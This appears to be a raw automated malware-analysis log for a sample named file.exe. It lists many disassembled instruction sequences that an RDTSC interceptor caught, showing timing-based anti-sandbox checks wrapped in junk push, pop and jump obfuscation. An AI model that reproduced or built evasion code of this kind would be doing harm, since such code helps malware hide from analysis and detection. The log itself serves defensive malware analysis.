Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B57 second address: 745B65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FA430E679E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B65 second address: 745B76 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B76 second address: 745B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B7A second address: 745B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B7E second address: 745B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B95 second address: 745B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B9A second address: 745BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FA430E679E6h 0x00000009 ja 00007FA430E679E6h 0x0000000f jmp 00007FA430E679ECh 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749C43 second address: 749C47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749C47 second address: 749C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA430E679E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007FA430E679F8h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749C72 second address: 749C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749C78 second address: 749C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679F5h 0x00000009 jg 00007FA430E679E6h 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7490CB second address: 7490D5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7490D5 second address: 7490DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7490DB second address: 7490DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7490DF second address: 7490E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749549 second address: 74957C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E329h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FA43130E321h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7496E0 second address: 7496E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CA9D second address: 74CAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E325h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C31B second address: 74C326 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C74D second address: 74C754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C754 second address: 74C76C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA430E679ECh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C76C second address: 74C770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 754817 second address: 754821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752D75 second address: 752DA9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA43130E31Bh 0x0000000b pop edx 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FA43130E322h 0x00000017 popad 0x00000018 pushad 0x00000019 jnl 00007FA43130E316h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753699 second address: 7536A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA430E679E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7536A3 second address: 7536A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753951 second address: 753956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75420E second address: 754215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75451E second address: 754564 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA430E67A05h 0x00000008 pushad 0x00000009 jmp 00007FA430E679F6h 0x0000000e jns 00007FA430E679E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756B5F second address: 756BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007FA43130E31Ah 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FA43130E323h 0x00000016 popad 0x00000017 jc 00007FA43130E328h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756BA0 second address: 756BA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B51A5 second address: 6B51E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E322h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b je 00007FA43130E331h 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FA43130E329h 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FA43130E316h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EEDE second address: 75EF04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679F5h 0x00000009 jmp 00007FA430E679EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EF04 second address: 75EF37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FA43130E316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA43130E31Ch 0x00000013 jmp 00007FA43130E329h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1A2 second address: 75E1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA430E679E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1AC second address: 75E1B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E1B0 second address: 75E1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push edi 0x00000008 jo 00007FA430E679EAh 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FA430E679E6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E4B0 second address: 75E4BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA43130E316h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E4BA second address: 75E4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007FA430E679E6h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 jmp 00007FA430E679F6h 0x00000015 push edi 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E4EC second address: 75E527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FA43130E31Ch 0x00000011 jno 00007FA43130E316h 0x00000017 jmp 00007FA43130E329h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E527 second address: 75E52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA93 second address: 75EA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA43130E316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA9D second address: 75EAA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76540B second address: 76544B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FA43130E31Eh 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jl 00007FA43130E316h 0x00000016 pop ebx 0x00000017 pushad 0x00000018 jmp 00007FA43130E327h 0x0000001d push edx 0x0000001e pop edx 0x0000001f je 00007FA43130E316h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765883 second address: 765889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765889 second address: 7658A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FA43130E31Dh 0x0000000d jnl 00007FA43130E316h 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7658A8 second address: 7658C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FA430E679E6h 0x0000000c popad 0x0000000d pushad 0x0000000e je 00007FA430E679E6h 0x00000014 jno 00007FA430E679E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7658C4 second address: 7658CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A56 second address: 765A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765A5D second address: 765A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA43130E316h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765BBD second address: 765BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765D1E second address: 765D25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765D25 second address: 765D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA430E679EAh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76602A second address: 766034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FA43130E316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766034 second address: 76604B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007FA430E679E8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662F2 second address: 7662F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662F6 second address: 7662FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662FA second address: 76630E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E31Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76630E second address: 766329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FA430E679F5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766329 second address: 766354 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA43130E316h 0x00000008 jmp 00007FA43130E329h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007FA43130E316h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766ADC second address: 766AE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766AE2 second address: 766AFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FA43130E316h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766AFA second address: 766AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7671AE second address: 7671B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7671B4 second address: 7671E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA430E679F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA430E679F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7671E3 second address: 7671E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769823 second address: 769827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769827 second address: 769848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 jmp 00007FA43130E31Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769848 second address: 769850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769850 second address: 769855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769855 second address: 76986A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007FA430E679E6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76986A second address: 76986E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76986E second address: 76988A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EB05 second address: 76EB2F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA43130E330h 0x00000008 jmp 00007FA43130E328h 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007FA43130E31Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EB2F second address: 76EB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007FA430E679F1h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EB4A second address: 76EB73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E321h 0x00000007 pushad 0x00000008 jmp 00007FA43130E323h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EC98 second address: 76EC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76EC9C second address: 76ECA9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ECA9 second address: 76ECAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ECAE second address: 76ECB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ECB3 second address: 76ECD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FA430E679F4h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ECD3 second address: 76ED03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FA43130E31Bh 0x0000000d pushad 0x0000000e jmp 00007FA43130E324h 0x00000013 js 00007FA43130E316h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76ED03 second address: 76ED0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADBC second address: 77ADC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADC0 second address: 77ADCF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADCF second address: 77ADE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA43130E31Ch 0x0000000a jng 00007FA43130E326h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77ADE8 second address: 77AE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679EAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FA430E679E8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AE01 second address: 77AE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AE07 second address: 77AE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AF48 second address: 77AF67 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnc 00007FA43130E316h 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FA43130E31Bh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AF67 second address: 77AF80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007FA430E679EAh 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FA430E679E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E294 second address: 77E29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784670 second address: 784676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 784676 second address: 78467A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78467A second address: 7846A8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA430E679EEh 0x00000008 jbe 00007FA430E679E6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FA430E679F6h 0x0000001c pop esi 0x0000001d rdtsc
